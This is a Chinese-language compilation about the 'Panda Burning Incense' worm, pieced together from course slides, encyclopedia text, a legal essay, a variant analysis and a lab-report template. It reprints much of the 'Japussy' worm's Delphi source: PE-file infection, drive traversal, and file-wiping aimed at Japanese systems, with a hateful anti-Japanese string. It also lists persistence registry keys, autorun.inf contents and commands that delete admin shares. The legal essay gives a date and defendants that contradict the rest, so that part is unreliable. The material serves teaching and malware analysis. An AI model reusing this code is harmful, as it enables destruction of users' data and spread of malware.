信息安全 熊猫烧香病毒剖析
第八章 熊猫烧香病毒的逆向分析

软件学院 王冬琦
熊猫烧香病毒简介
• 2007年引起全国关注的一系列新闻
熊猫烧香病毒简介
• 熊猫烧香病毒会伪装成Spcolsv.exe进程。 • Spcolsv.exe是Print Spooler的进程,管理所有 本地和网络打印队列及控制所有打印工作。 如果此服务被停用,本地计算机上的打印 将不可用。该进程属 Windows 系统服务。
sub_4082F8—复制自身,传染文件并运行 sub_40CFB4—传染其他文件 sub_40CED4—设置注册表,停止杀毒软件
作业要求
• 2-3小组任意组合一个team,按程序功能模 块自行讨论并分解、分配任务,以组为单 位完成各自分工部分的逆向分析报告 • 大作业中除体现个人所在小组完成的工作 之外,还要说明每位同学自己的工作重点 和完成情况。
逆向分析过程
• 程序入口地址:
有意义的内容从这里开始
分析确定sub_403C98 函数的功能,并重命 名之 分析确定sub_405360 函数的功能,并重命 名之 分析确定sub_404018函 数的功能,并重命名之
逆向分析过程
• 病毒验证和启动部分
三个函数调用,分析他们的功能并根 据功能特解病毒发作的表现尝试理解IDA 解析的结果清晰病毒程序的组成结构 给出病毒的工作流程图及核心函数分析报 告
逆向分析过程
• 没有源程序的情况下,首先考虑目标程序 的类型 首先使用Peid软件分析目标程序
可知目标程序是用Borland Delphi6.0-7.0编译,其余VC++的区别在于函数调用方式和字 符串处理,Delphi默认使用register传递函数的参数
【熊猫烧香】病毒介绍

最近出现新的病毒名为熊猫烧香,危害较大,感染后所有EXE可执行文件图标变成一个烧香的熊猫,大家电脑如出现此现象可认真阅读以下文章:一、病毒描述:含有病毒体的文件被运行后,病毒将自身拷贝至系统目录,同时修改注册表将自身设置为开机启动项,并遍历各个驱动器,将自身写入磁盘根目录下,增加一个Autorun.inf 文件,使得用户打开该盘时激活病毒体。
随后病毒体开一个线程进行本地文件感染,同时开另外一个线程连接某网站下载ddos程序进行发动恶意攻击。
二、病毒基本情况:[文件信息]病毒名: Virus.Win32.EvilPanda.a.ex$大小: 0xDA00 (55808), (disk) 0xDA00 (55808)SHA1 : F0C3DA82E1620701AD2F0C8B531EEBEA0E8AF69D壳信息: 未知危害级别:高病毒名: Flooder.Win32.FloodBots.a.ex$大小: 0xE800 (59392), (disk) 0xE800 (59392)SHA1 : B71A7EF22A36DBE27E3830888DAFC3B2A7D5DA0D壳信息: UPX 0.89.6 - 1.02 / 1.05 - 1.24危害级别:高三、病毒行为:Virus.Win32.EvilPanda.a.ex$ :1、病毒体执行后,将自身拷贝到系统目录:%SystemRoot%\system32\FuckJacks.exeHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ Userini t "C:\WIN2K\system32\SVCH0ST.exe"2、添加注册表启动项目确保自身在系统重启动后被加载:键路径:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 键名:FuckJacks键值:"C:\WINDOWS\system32\FuckJacks.exe"键路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 键名:svohost键值:"C:\WINDOWS\system32\FuckJacks.exe"3、拷贝自身到所有驱动器根目录,命名为Setup.exe,并生成一个autorun.inf使得用户打开该盘运行病毒,并将这两个文件属性设置为隐藏、只读、系统。
熊猫烧香PPT课件

熊猫烧香病毒的传播途径多样,包括局域网、下载软件、电子邮件等, 防范措施需要从多个方面入手,包括及时更新系统补丁、安装杀毒软件 、定期备份重要数据等。
对未来网络安全防护的展望
随着互联网技术的不断发展, 网络安全问题将越来越突出, 需要不断加强网络安全防护措
施。
未来网络安全防护将更加注重 预防措施,包括加强用户教育 、推广加密技术和虚拟专用网 等,以提高网络安全防护意识
避免因病毒感染导致数据丢失。
不随意打开未知来源的邮件和链 接
避免点击不明链接或下载未知来源的文件 。
定期检查系统安全漏洞
及时修补系统漏洞,提高系统安全性。
应对熊猫烧香的方法
发现感染迹象后立即断网:避免病毒 进一步传播。
手动删除病毒文件:如无法清除病毒 ,可手动删除感染病毒的文件,并恢 复系统配置。
和能力。
网络安全防护技术将不断创新 和发展,包括人工智能、大数 据分析等新技术的应用,将为 网络安全防护提供更加全面和 高效的支持。
国际合作将成为未来网络安全 防护的重要方向,各国政府和 组织需要加强合作,共同应对 网络安全威胁,维护全球网络 安全。
THANKS FOR WATCHING
感谢您的观看
熊猫烧香ppt课件
目录
• 熊猫烧香简介 • 熊猫烧香的技术分析 • 熊猫烧香的防范与应对 • 熊猫烧香案例分析 • 总结与展望
CHAPTER 01
熊猫烧香简介
熊猫烧香的起源
01
熊猫烧香是一种计算机病毒,起 源于2007年,由李俊编写。
02
该病毒通过感染计算机系统中的 可执行文件、网页文件等,进行 传播和破坏活动。
使用安全模式进行杀毒:在安全模式 下启动电脑,并进行全盘扫描和杀毒 。
熊猫烧香病毒及祸害

熊猫烧香病毒及祸害熊猫烧香病毒及祸害“熊猫烧香”,是一种经过多次变种的蠕虫病毒变种,它能感染系统中exe,com,pif,src,html,asp等文件,它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件,下面由我给你做出详细的介绍!希望对你有帮助!熊猫烧香病毒:该文件是一系统备份工具GHOST的备份文件,使用户的系统备份文件丢失。
被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。
2006年10月16日由25岁的中国湖北武汉新洲区人李俊编写,2007年1月初肆虐网络,它主要透过下载的文件传染。
2007年2月12日,湖北省公安厅宣布,李俊以及其同伙共8人已经落网,这是中国警方破获的首例计算机病毒大案。
[1]2014年,“熊猫烧香”之父因涉案网络赌场,获刑5年。
中文名熊猫烧香程序类别计算机病毒编写者李俊病毒类型蠕虫病毒新变种外文名Worm.WhBoy或Worm.Nimaya感染系统Win9x/2000/NT/XP/2003/Vista/7泛滥时间2006年底2007年初1基本介绍编辑病毒名称:熊猫烧香,Worm.WhBoy.金山称,Worm.Nimaya。
瑞星称病毒别名:尼姆亚,武汉男生,后又化身为“金猪报喜”,国外称“熊猫烧香”危险级别:★★★★★病毒类型:蠕虫病毒,能够终止大量的反病毒软件和防火墙软件进程。
影响系统:Windows 9x/ME、Windows 2000/NT、Windows XP、Windows 2003 、Windows Vista 、Windows 7发现时间:2006年10月16日来源地:中国武汉东湖高新技术开发区关山2病毒描述编辑熊猫烧香其实是一种蠕虫病毒的变种,而且是经过多次变种而来的,由于中毒电脑的可执行文件会出现“熊猫烧香”图案,所以也被称为“熊猫烧香”病毒。
但原病毒只会对EXE图标进行替换,并不会对系统本身进行破坏。
而大多数是中的病毒变种,用户电脑中毒后可能会出现蓝屏、频繁重启以及系统硬盘中数据文件被破坏等现象。
熊猫烧香案件的法律启示(3篇)

第1篇一、引言2009年,我国发生了一起名为“熊猫烧香”的计算机病毒案件,该病毒迅速传播,对广大网民和计算机用户造成了严重的损失。
此案件引起了社会各界的广泛关注,同时也给我国网络安全法律体系带来了深刻的启示。
本文将从熊猫烧香案件的法律启示出发,探讨我国网络安全法律的完善与发展。
二、熊猫烧香案件的法律背景1. 犯罪主体熊猫烧香案件的主要犯罪主体为被告人张某、李某、王某等人。
他们通过编写、传播计算机病毒,非法获取他人计算机信息系统数据,给社会造成了极大的危害。
2. 犯罪手段被告人通过编写名为“熊猫烧香”的计算机病毒,在网络上大量传播。
该病毒能够入侵他人计算机系统,篡改用户数据,甚至控制他人计算机,造成严重后果。
3. 犯罪后果熊猫烧香案件造成了大量网民的计算机系统瘫痪,给企业和个人带来了巨大的经济损失。
同时,该案件还暴露出我国网络安全法律体系的不完善,使得犯罪分子得以逍遥法外。
三、熊猫烧香案件的法律启示1. 完善网络安全法律体系熊猫烧香案件暴露出我国网络安全法律体系的不完善。
为了更好地维护网络安全,我国应加快网络安全法律的立法进程,提高法律体系的科学性和可操作性。
具体包括:(1)制定专门的网络安全法,明确网络安全的基本原则、法律地位和监管职责;(2)完善网络安全管理制度,加强对网络信息内容的监管,确保网络空间的清朗;(3)加大对网络犯罪的打击力度,提高犯罪成本,使犯罪分子付出应有的代价。
2. 加强网络安全执法力度熊猫烧香案件的发生,暴露出我国网络安全执法力度不足的问题。
为了更好地维护网络安全,我国应加强网络安全执法,具体措施如下:(1)建立健全网络安全执法机构,提高执法队伍的专业化水平;(2)加强执法协作,形成跨部门、跨区域的联合执法机制;(3)加大对网络犯罪的惩处力度,提高犯罪分子的法律风险。
3. 提高网络安全意识熊猫烧香案件的发生,提醒我们要提高网络安全意识。
具体措施如下:(1)加强网络安全教育,提高全民网络安全素养;(2)引导网民合理使用网络,自觉抵制网络病毒和不良信息;(3)鼓励企业和个人加强网络安全防护,提高计算机系统的安全性。
熊猫烧香变种资料

病毒大小:22,886 字节加壳方式:UPack样本MD5:9749216a37d57cf4b2e528c027252062样本SHA1:5d3222d8ab6fc11f899eff32c2c8d3cd50cbd755发现时间:2006.11更新时间:2006.11关联病毒:传播方式:通过恶意网页传播,其它木马下载,可通过局域网、移动存储设备等传播技术分析==========又是“熊猫烧香”FuckJacks.exe的变种,和之前的变种一样使用白底熊猫烧香图标,病毒运行后复制自身到系统目录下:%System%\drivers\spoclsv.exe创建启动项:[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] "svcshare"="%System%\drivers\spoclsv.exe"修改注册表信息干扰“显示所有文件和文件夹”设置:[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanc ed\Folder\Hidden\SHOW ALL]"CheckedValue"=dword:00000000在各分区根目录生成副本:X:\setup.exeX:\autorun.infautorun.inf内容:[AutoRun]OPEN=setup.exeshellexecute=setup.exeshell\Auto\command=setup.exe尝试关闭下列窗口:QQKavQQA VVirusScanSymantec AntiVirusDubaWindowsesteem procsSystem Safety Monitor Wrapped gift Killer Winsock Expert msctls_statusbar32pjf(ustc)IceSword结束一些对头的进程:Mcshield.exe VsTskMgr.exe naPrdMgr.exe UpdaterUI.exe TBMon.exescan32.exe Ravmond.exe CCenter.exe RavTask.exeRav.exeRavmon.exe RavmonD.exe RavStub.exeKVXP.kxp KvMonXP.kxp KVCenter.kxp KVSrvXP.exe KRegEx.exe UIHost.exeTrojDie.kxp FrogAgent.exeLogo1_.exeLogo_1.exeRundl132.exe禁用一系列服务:Schedule sharedaccess RsCCenter RsRavMon RsCCenter RsRavMonKVWSCKVSrvXPkavsvcA VPMcAfeeFrameworkMcShieldMcTaskManagernavapsvcwscsvcKPfwSvcSNDSrvcccProxyccEvtMgrccSetMgrSPBBCSvcSymantec Core LCNPFMntorMskServiceFireSvc删除若干安全软件启动项信息:RavTaskKvMonXPkavKA VPersonal50McAfeeUpdaterUINetwork Associates Error Reporting ServiceShStatEXEYLive.exeyassistse使用net share命令删除管理共享:net share X$ /del /ynet share admin$ /del /ynet share IPC$ /del /y遍历目录,感染除以下系统目录外其它目录中的exe、com、scr、pif文件:X:\WINDOWSX:\WinntX:\System Volume InformationX:\Recycled%ProgramFiles%\Windows NT%ProgramFiles%\WindowsUpdate%ProgramFiles%\Windows Media Player%ProgramFiles%\Outlook Express%ProgramFiles%\Internet Explorer%ProgramFiles%\NetMeeting%ProgramFiles%\Common Files%ProgramFiles%\ComPlus Applications%ProgramFiles%\Messenger%ProgramFiles%\InstallShield Installation Information%ProgramFiles%\MSN%ProgramFiles%\Microsoft Frontpage%ProgramFiles%\Movie Maker%ProgramFiles%\MSN Gamin Zone将自身捆绑在被感染文件前端,并在尾部添加标记信息:.WhBoy{原文件名}.exe.{原文件大小}.与之前变种不同的是,这个病毒体虽然是22886字节,但是捆绑在文件前段的只有22838字节,被感染文件运行后会出错,而不会像之前变种那样释放出{原文件名}.exe的原始正常文件。
熊猫烧香(源代码)

熊猫烧香(源代码)(一) 主程序段分析原“熊猫烧香”病毒“源码”主程序段代码如下所示:{==================主程序开始====================}beginif IsWin9x then //是Win9xRegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程else //WinNTbegin//远程线程映射到Explorer进程//哪位兄台愿意完成之?end;//如果是原始病毒体自己if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 thenInfectFiles //感染和发邮件else //已寄生于宿主程序上了,开始工作beginTmpFile := ParamStr(0); //创建临时文件……....Line nDelete(TmpFile, Length(TmpFile) - 4, 4);TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格ExtractFile(TmpFile); //分离之FillStartupInfo(Si, SW_SHOWDEFAULT);CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True, 0, nil, '.', Si, Pi); //创建新进程运行之……....Line n+7InfectFiles; //感染和发邮件end;end.对于代码:RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程虽然源码提供者省略了相应实现,但这是比较基本的编程实现。
通过把自身注册为服务进程,可以使自己随着系统的启动一起启动。
熊猫烧香病毒剖析

伪装技术
熊猫烧香病毒会伪装成其他正常 的文件或程序,诱骗用户运行, 从而感染计算机系统。
03 熊猫烧香病毒的防范与应 对
防范措施
安装防病毒软件
选择可靠的品牌和版本,并及时更新病毒库。
提高网络安全意识
不随意打开未知来源的邮件和链接,不下载 和运行未知来源的文件和程序。
定期备份重要数据
以防数据被病毒感染或损坏。
案例二:熊猫烧香病毒的攻击目标与手法
熊猫烧香病毒主要攻击个人计算机和企业网络系统,通过感染操作系统和应用程序,导致系统运行缓 慢、蓝屏、死机等问题。
该病毒会修改系统注册表、劫持浏览器、禁用安全软件等手段,以实现长期驻留和控制用户计算机。
熊猫烧香病毒还会窃取用户个人信息,如账号密码、信用卡信息等,给用户的隐私和财产安全带来严重 威胁。
与其他蠕虫病毒的比较
传播方式
熊猫烧香病毒与蠕虫病毒相似,都是通过网络进行快速传播 。熊猫烧香病毒利用系统漏洞和用户不慎点击恶意链接等方 式感染计算机。
破坏性
熊猫烧香病毒在感染计算机后,会对系统文件进行篡改,导 致计算机出现蓝屏、频繁重启等问题。此外,熊猫烧香病毒 还会下载其他恶意软件,进一步损害系统安全。
自我保护机制
熊猫烧香病毒具有自我保护机制,通过修改系统 文件、注册表等手段,防止病毒被轻易删除或查 杀。
病毒的隐藏与反侦察技术
隐藏技术
熊猫烧香病毒采用多种隐藏技术, 如将自身嵌入到其他正常文件中、 使用加密和混淆等技术隐藏自身 代码等。
反侦察技术
熊猫烧香病毒会检测自身是否被 检测或查杀,一旦发现自身被检 测或查杀,会采取相应的反侦察 措施,如删除自身、破坏系统文 件等。
熊猫烧香病毒是一种网络攻击手段,与其他网络攻击如拒绝服务攻击、SQL注入攻击等有所不同。熊猫烧香病毒 主要针对个人计算机系统进行感染和破坏。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
《网络攻击与防御》实验报告计算机科学与技术学院计算机系网络教研室制实验报告撰写要求实验操作是教学过程中理论联系实际的重要环节,而实验报告的撰写又是知识系统化的吸收和升华过程,因此,实验报告应该体现完整性、规范性、正确性、有效性。
现将实验报告撰写的有关内容说明如下:1、实验报告模板为电子版。
2、下载统一的实验报告模板,学生自行完成撰写和打印。
报告的首页包含本次实验的一般信息:●组号:例如:2-5 表示第二班第5组。
●实验日期:例如:05-10-06 表示本次实验日期。
(年-月-日)……●实验编号:例如:No.1 表示第一个实验。
●实验时间:例如:2学时表示本次实验所用的时间。
实验报告正文部分,从六个方面(目的、内容、步骤等)反映本次实验的要点、要求以及完成过程等情况。
模板已为实验报告正文设定统一格式,学生只需在相应项内填充即可。
续页不再需要包含首页中的实验一般信息。
3、实验报告正文部分具体要求如下:一、实验目的本次实验所涉及并要求掌握的知识点。
二、实验环境实验所使用的设备名称及规格,网络管理工具简介、版本等。
三、实验内容与实验要求实验内容、原理分析及具体实验要求。
四、实验过程与分析根据具体实验,记录、整理相应命令、运行结果等,包括截图和文字说明。
详细记录在实验过程中发生的故障和问题,并进行故障分析,说明故障排除的过程及方法。
五、实验结果总结对实验结果进行分析,完成思考题目,总结实验的心得体会,并提出实验的改进意见。
六、附录1)掌握熊猫烧香病毒的工作原理和感染方法;2)掌握手工清除熊猫病毒的基本方法。
目标主机为windows-2003 所用到的工具o Wsyschecko Filemon三、实验内容与实验要求蠕虫原理1)蠕虫定义2007年1月流行的“熊猫烧香”以及其变种也是蠕虫病毒。
这一病毒利用了微软视窗操作系统的漏洞,计算机感染这一病毒后,会不断自动拨号上网,并利用文件中的地址信息或者网络共享进行传播,最终破坏用户的大部分重要数据。
蠕虫病毒是自包含的程序(或是一套程序),它能传播它自身功能的拷贝或它的某些部分到其他的计算机系统中(通常是经过网络连接)。
请注意,与一般病毒不同,蠕虫不需要将其自身附着到宿主程序,有两种类型的蠕虫:主机蠕虫与网络蠕虫。
主计算机蠕虫完全包含在它们运行的计算机中,并且使用网络的连接仅将自身拷贝到其他的计算机中,主计算机蠕虫在将其自身的拷贝加入到另外的主机后,就会终止它自身(因此在任意给定的时刻,只有一个蠕虫的拷贝运行),这种蠕虫有时也叫"野兔"。
蠕虫一般不采取利用pe格式插入文件的方法,而是复制自身在互联网环境下进行传播,病毒的传染能力主要是针对计算机内的文件系统而言,而蠕虫病毒的传染目标是互联网内的所有计算机。
局域网条件下的共享文件夹,电子邮件email,网络中的恶意网页,大量存在着漏洞的服务器等都成为蠕虫传播的良好途径。
蠕虫和传统病毒的区别:•传统病毒主要攻击的是文件系统,在其传染的过程中,计算机使用者是传染的触发者,是传染的关键环节,使用者计算机知识水平的高低常常决定了传统病毒所能造成的破坏程度;•蠕虫主要是利用计算机系统漏洞进行传染,在搜索到网络中存在漏洞的计算机后,主动进行攻击。
在传染的过程中,与计算机操作者是否进行操作无关,从而与使用者的计算机知识水平无关。
2)蠕虫的基本程序结构•传播模块:负责蠕虫的传播,通过检查主机或远程计算机的地址库,找到可进一步传染的其他计算机。
•隐藏模块:侵入主机后,隐藏蠕虫程序,防止被用户发现。
•目的功能模块:实现对计算机的控制、监视或破坏等功能。
传播模块由可以分为三个基本模块:扫描模块、攻击模块和复制模块。
蠕虫程序功能模型也可以扩展为如下的形式:3)蠕虫程序的一般传播过程•扫描:由蠕虫的扫描功能模块负责探测存在漏洞的主机。
当程序向某个主机发送探测漏洞的信息并收到成功的反馈信息后,就得到一个可传播的对象。
•攻击:攻击模块按漏洞攻击步骤自动攻击步骤1中找到的对象,取得该主机的权限(一般为管理员权限),获得一个shell。
•复制:复制模块通过原主机和新主机的交互将蠕虫程序复制到新主机并启动。
蠕虫将自身复制到某台计算机之前,也会试图判断该计算机以前是都已被感染过。
在分布式系统中,蠕虫可能会以系统程序名或不易被操作系统察觉的名字来为自己命名,从而伪装自己。
同时,我们也可以看到,传播模块实现的实际上是自动入侵的功能。
所以蠕虫的传播技术是蠕虫技术的首要技术,没有蠕虫的传播技术,也就谈不上什么蠕虫技术了。
“熊猫烧香”蠕虫病毒1)“熊猫烧香”档案又名:尼亚姆、武汉男生、worm.whBoy、worm.nimaya后又化身为:“金猪报喜”病毒类型:蠕虫病毒影响系统:Windows 9X/ME/NT/2000/XP/2003/Vista/72)“熊猫烧香”病毒特点2006年底,我国互联网上大规模爆发“熊猫烧香”病毒及其变种,该病毒通过多种方式进行传播,同时该病毒还具有盗取用户游戏账号、QQ账号等功能。
该病毒传播速度快,危害范围广,截至案发为止,已有上百万个人用户、网吧及企业局域网用户遭受感染和破坏,引起社会各界高度关注。
《瑞星2006安全报告》将其列为十大病毒之首,在《2006年度中国计算机病毒疫情和互联网安全报告》的十大病毒排行中一举成为“毒王”。
“熊猫烧香”,是一个感染型的蠕虫病毒,它能感染系统中exe,com,pif,src,html,asp等文件,它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件,该文件是一系统备份工具GHOST的备份文件,使用户的系统备份文件丢失。
被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。
“熊猫烧香”源码分析含有病毒体的文件被运行后,病毒将自身复制至系统目录,同时修改注册表将自身设置为开机启动项,并遍历各个驱动器,将自身写入磁盘根目录下,增加一个 Autorun.inf文件,使得用户打开该磁盘时激活病毒体。
随后病毒体创建一个线程进行本地文件感染,同时创建另外一个线程连接网站下载DOS 程序发动恶意攻击。
下面,我们分析一下用delphi语言描述的“熊猫烧香”的主要源代码:program Japussy;usesWindows, SysUtils, Classes, Graphics, ShellAPI{, Registry};constHeaderSize = 82432; //病毒体的大小IconOffset = $12EB8; //PE文件主图标的偏移量//查找2800000020的十六进制字符串可以找到主图//标的偏移量{HeaderSize = 38912; //Upx压缩过病毒体的大小IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量//Upx 1.24W 用法: upx -9 --8086 Japussy.exe}IconSize = $2E8; //PE文件主图标的大小--744字节IconTail = IconOffset + IconSize; //PE文件主图标的尾部ID = $44444444; //感染标记//垃圾码,以备写入Catchword = 'If a race need to be killed out, it must be Yamato. ' + 'If a country need to be destroyed, it must be Japan! ' +'*** W32.Japussy.Worm.A ***';{$R *.RES}function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'Kernel32.dll';//函数声明varTmpFile: string;Si: STARTUPINFO;Pi: PROCESS_INFORMATION;IsJap: Boolean = False; //日文操作系统标记{ ===============判断是否为Win9x================ }function IsWin9x: Boolean;varVer: TOSVersionInfo;beginResult := False;Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);if not GetVersionEx(Ver) thenExit;if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x Result := True;end;{=======================在流之间复制======================== } procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; dStartPos: Integer; Count: Integer);varsCurPos, dCurPos: Integer;beginsCurPos := Src.Position;dCurPos := Dst.Position;Src.Seek(sStartPos, 0);Dst.Seek(dStartPos, 0);Dst.CopyFrom(Src, Count);Src.Seek(sCurPos, 0);Dst.Seek(dCurPos, 0);end;{==========将宿主文件从已感染的PE文件中分离出来,以备使用====== }procedure ExtractFile(FileName: string);varsStream, dStream: TFileStream;begintrysStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);trydStream := TFileStream.Create(FileName, fmCreate);trysStream.Seek(HeaderSize, 0); //跳过头部的病毒部分dStream.CopyFrom(sStream, sStream.Size - HeaderSize);finallydStream.Free;end;finallysStream.Free;end;exceptend;end;{===================填充STARTUPINFO结构================== }procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);Si.cb := SizeOf(Si);Si.lpReserved := nil;Si.lpDesktop := nil;Si.lpTitle := nil;Si.dwFlags := STARTF_USESHOWWINDOW;Si.wShowWindow := State;Si.cbReserved2 := 0;Si.lpReserved2 := nil;end;{======================发带毒邮件==================== } procedure SendMail; //此处省略了带危害性代码beginend;{======================感染PE文件==================== } procedure InfectOneFile(FileName: string);varHdrStream, SrcStream: TFileStream;IcoStream, DstStream: TMemoryStream;iID: LongInt;aIcon: TIcon;Infected, IsPE: Boolean;i: Integer;Buf: array[0..1] of Char;try//出错则文件正在被使用,退出if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染Exit;Infected := False;IsPE := False;SrcStream := TFileStream.Create(FileName, fmOpenRead);tryfor i := 0 to $108 do//检查PE文件头beginSrcStream.Seek(i, soFromBeginning);SrcStream.Read(Buf, 2);if (Buf[0] = #80) and (Buf[1] = #69) then//PE标记beginIsPE := True; //是PE文件Break;end;end;SrcStream.Seek(-4, soFromEnd);//检查感染标记SrcStream.Read(iID, 4);if (iID = ID) or (SrcStream.Size< 10240) then //太小的文件不感染Infected := True;finallySrcStream.Free;if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出Exit;IcoStream := TMemoryStream.Create;DstStream := TMemoryStream.Create;tryaIcon := TIcon.Create;try//得到被感染文件的主图标(744字节),存入流aIcon.ReleaseHandle;aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);aIcon.SaveToStream(IcoStream);finallyaIcon.Free;end;SrcStream := TFileStream.Create(FileName, fmOpenRead);//头文件HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);try//写入病毒体主图标之前的数据CopyStream(HdrStream, 0, DstStream, 0, IconOffset);//写入目前程序的主图标CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);//写入病毒体主图标到病毒体尾部之间的数据CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);//写入宿主程序CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);//写入已感染的标记DstStream.Seek(0, 2);iID := $44444444;DstStream.Write(iID, 4);finallyHdrStream.Free;end;finallySrcStream.Free;IcoStream.Free;DstStream.SaveToFile(FileName); //替换宿主文件DstStream.Free;end;except;end;end;{===================将目标文件写入垃圾码后删除==================}procedure SmashFile(FileName: string);varFileHandle: Integer;i, Size, Mass, Max, Len: Integer;begintrySetFileAttributes(PChar(FileName), 0);//去掉只读属性FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件trySize := GetFileSize(FileHandle, nil);//文件大小i := 0;Randomize;Max := Random(15); //写入垃圾码的随机次数if Max < 5 thenMax := 5;Mass := Size div Max; //每个间隔块的大小Len := Length(Catchword);while i< Max dobeginFileSeek(FileHandle, i * Mass, 0);//定位//写入垃圾码,将文件彻底破坏掉FileWrite(FileHandle, Catchword, Len);Inc(i);end;finallyFileClose(FileHandle);//关闭文件end;DeleteFile(PChar(FileName));//删除之exceptend;end;{====================获得可写的驱动器列表==================} function GetDrives: string;varDiskType: Word;D: Char;Str: string;i: Integer;beginfor i := 0 to 25 do //遍历26个字母beginD := Chr(i + 65);Str := D + ':\';DiskType := GetDriveType(PChar(Str));//得到本地磁盘和网络盘if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then Result := Result + D;end;end;{====================遍历目录,感染和摧毁文件===================}procedure LoopFiles(Path, Mask: string);vari, Count: Integer;Fn, Ext: string;SubDir: TStrings;SearchRec: TSearchRec;Msg: TMsg;function IsValidDir(SearchRec: TSearchRec): Integer;beginif (SearchRec.Attr<> 16) and (<> '.') and (<> '..') thenResult := 0//不是目录else if (SearchRec.Attr = 16) and (<> '.') and (<> '..') thenResult := 1 //不是根目录else Result := 2; //是根目录end;beginif (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) thenbeginrepeatPeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑if IsValidDir(SearchRec) = 0 thenbeginFn := Path + ;Ext := UpperCase(ExtractFileExt(Fn));if (Ext = '.EXE') or (Ext = '.SCR') thenbeginInfectOneFile(Fn);//感染可执行文件endelse if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then begin//感染HTML和ASP文件,将Base64编码后的病毒写入//感染浏览此网页的所有用户endelse if Ext = '.WAB' then //Outlook地址簿文件begin//获取Outlook邮件地址endelse if Ext = '.ADC' then //Foxmail地址自动完成文件begin//获取Foxmail邮件地址endelse if Ext = 'IND' then //Foxmail地址簿文件begin//获取Foxmail邮件地址endelsebeginif IsJap thenbeginif (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then SmashFile(Fn); //摧毁文件end;end;end;//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑Sleep(200);until (FindNext(SearchRec) <> 0);end;FindClose(SearchRec);SubDir := TStringList.Create;if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then beginrepeatif IsValidDir(SearchRec) = 1 thenSubDir.Add();until (FindNext(SearchRec) <> 0);end;FindClose(SearchRec);Count := SubDir.Count - 1;for i := 0 to Count doLoopFiles(Path + SubDir.Strings + '\', Mask);FreeAndNil(SubDir);end;//子过程是对典型遍历本机中所有可用盘中所有子目录下的所有子目录下的所有文件实施相应操作的编码。